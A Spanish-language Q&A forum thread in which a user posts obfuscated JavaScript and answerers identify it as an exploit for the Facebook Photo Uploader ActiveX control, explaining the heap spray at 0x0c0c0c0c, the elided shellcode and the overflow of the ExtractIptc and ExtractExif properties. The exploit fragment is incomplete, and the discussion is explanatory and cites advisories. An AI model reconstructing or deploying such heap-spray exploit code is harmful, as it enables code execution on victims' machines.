2009-03-16 11 views
6

No entiendo este fragmento de código:No entiendo este Código

function ms(){ 
    var plc=unescape('". 
    unescape('\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0); 
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); 
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; 
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav(); 
    return(1); 
    } 

En la función anterior me parece que no puede averiguar los tipos de variables, o averiguar lo que está haciendo con el hsta variable y lo que está asignando para ello:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); 
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; 
for(i=0;i<hb;i++)m[i]=ss+plc; 

tampoco puedo averiguar esta función:

function fb(){ 
    try { 
     var obj=null; 
     obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}'); 
     if(obj){ 
      ms(); 
      var buf = addr(0x0c0c0c0c); 
      while (buf.length < 400) buf += buf; 
      buf = buf.substring(0,400); 
      obj.ExtractIptc = buf; 
      obj.ExtractExif = buf; 
      } 
     } catch(e){} 
    return 0; 
    } 

¿Qué significa el siguiente código?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

¿Qué tipo de variable es esto?

var buf = addr(0x0c0c0c0c); 
buf = buf.substring(0,400); 
obj.ExtractIptc = buf; 
obj.ExtractExif = buf; 

Lo que es más importante, ¿qué intenta hacer ese fragmento de código?

Estas son algunas de las funciones más:

function hex(num,width){ 
    var digits='ABCDEF'; 
    var hex=digits.substr(num&0xF,1); 
    while(num>0xF){ 
     num=num>>>4; 
     hex=digits.substr(num&0xF,1)+hex; 
     } 
    var width=(width?width:0); 
    while(hex.length<width)hex='0'+hex; 
    return hex; 
} 

function addr(addr){ 
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4)); 
    } 

sería apreciada Cualquier orientación.

+0

Esto no es todo PHP.De hecho, solo una pequeña parte se parece a PHP. El resto se parece a JavaScript. Además, haga un mejor trabajo formateando su código; es casi imposible de leer. –

+0

@Peter Bailey: Sí, lo arreglé para él. –

+0

Modifiqué mi respuesta con más detalles para usted. –

Respuesta

26

Es un fragmento de JavaScript que intenta explotar una vulnerabilidad de seguridad relacionada con Facebook, más s específicamente a su control de ActiveX del cliente del cargador de imágenes.

La parte cobj intenta crear un objeto de ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} que resulta ser un control de cargador de foto ActiveX. Las funciones ExtractIptc y ExtractExif pertenecen a ese control ActiveX específico.

El núcleo del código es realmente la manipulación de la dirección de la memoria, el desplazamiento, utilizando máscaras para separar los bits altos y bajos. Por ejemplo, hex((addr>>16)&0xFFFF,4)) toma una dirección, la desplaza 16 bits hacia la derecha, borra la parte inferior y la convierte en un número hexadecimal. Para comprender realmente la mayor parte de este código, debe tener las herramientas de depuración correctas.

buscar en Google el {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID dieron algunos resultados interesantes que usted debe buscar en:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

Tenga en cuenta que esto no es PHP. Es javascript

Más detalles ...

cobj es, probablemente, se tradujo en una llamada CreateObject(). Cada control ActiveX registrado tiene su propia identificación de clase y tienen el formato {0000000000-0000-0000-0000-000000000000}. Cuando desee consultar la biblioteca registrada y crear una instancia de la misma, puede usar su nombre o su ID de clase.

El control ActiveX en sí debe ser un archivo .OCX o .DLL en su computadora. Si puede encontrar este archivo y depurarlo, obtendrá la mayoría de los detalles específicos sobre las funciones ExtractIptc y ExtractExif. Una vez más, esas dos funciones parecen tener vulnerabilidades cuando se las llama de una manera específica, y esto es lo que el script está tratando de explotar.

La parte var hsta=0x0c0c0c0c define una variable hsta, igual al número hexadecimal 0c0c0c0c. Es lo mismo que escribir var hsta = 202116108. En ingeniería informática, es más fácil tratar con direcciones hexadecimales que con números decimales, ya que las direcciones y datos dentro de la memoria de la computadora son binarios y se pueden representar directamente como un número hexadecimal. Más detalles sobre hexadecimal allí: http://en.wikipedia.org/wiki/Hexadecimal.

El nombre de la variable hsta parece estar en notación húngara (la primera letra representa el tipo de variable - h para el hex). Por lo tanto, supongo que significa dirección de inicio hexadecimal (hsta). Siguiendo la misma línea de pensamiento, mi conjetura sería que pl significa carga y plc significa código de carga.

El código de carga es el código que la computadora ejecutará si el exploit fue exitoso, y es lo que se ve al comienzo del script (\x43\x43\x43\x43\n....\xEF). Está codificado como shell code para una arquitectura de CPU y un sistema operativo en particular. Eso significa que el código ya está compilado, es independiente y puede conectarse a la CPU directamente. Si decodifica esto, probablemente encontrará algo parecido al código de máquina. Probablemente no es nada positivo.

La función hex(num,width) convierte un número decimal en su forma hexadecimal. Probé la función por separado, y devolvió 3E8 al alimentarlo 1000. La variable de ancho simplemente se usa para salir de la secuencia de comandos si el número hexadecimal resultante es mayor que el especificado.

Sobre esta parte:

var buf = addr(0x0c0c0c0c); 
buf = buf.substring(0,400); 
obj.ExtractIptc = buf; 
obj.ExtractExif = buf; 

La variable buf es un búfer. Un buffer no es más que datos en la memoria. Se puede interconectar como una cadena, como se muestra en este código. Supongo que se crea un búfer de 400 bytes a partir de cualquier contenido que esté en la memoria en 0x0c0c0c0c, y luego se alimenta en dos funciones.

Faltan varias definiciones de funciones aquí. Es decir, la función hav().

+1

Creo que una pregunta relevante para nuestro OP es '¿de dónde sacaste este código?' = X –

+4

bien ... bueno, puedes ver que su nombre de usuario tampoco es inocente. –

+0

Heh ... Buen punto ... –

1

He reparado el formato tanto como pude, pero parece que todavía faltan trozos. Al menos, estoy viendo errores de sintaxis, variables no inicializadas, etc.

Si este es el código de trabajo actual, edite su pregunta y (usando el botón "codificar" "101/010" o simplemente sangrando 4 espacios en lugar de citar con el botón '"') publicar el código real para que coincida con lo que vemos lo que está viendo EDIT:. no trate de ejecutar este código malicioso es probablemente

Si no es el código de trabajo!. , ahí está su respuesta: no funciona, por lo que tratar de descubrir cómo funciona no tiene sentido.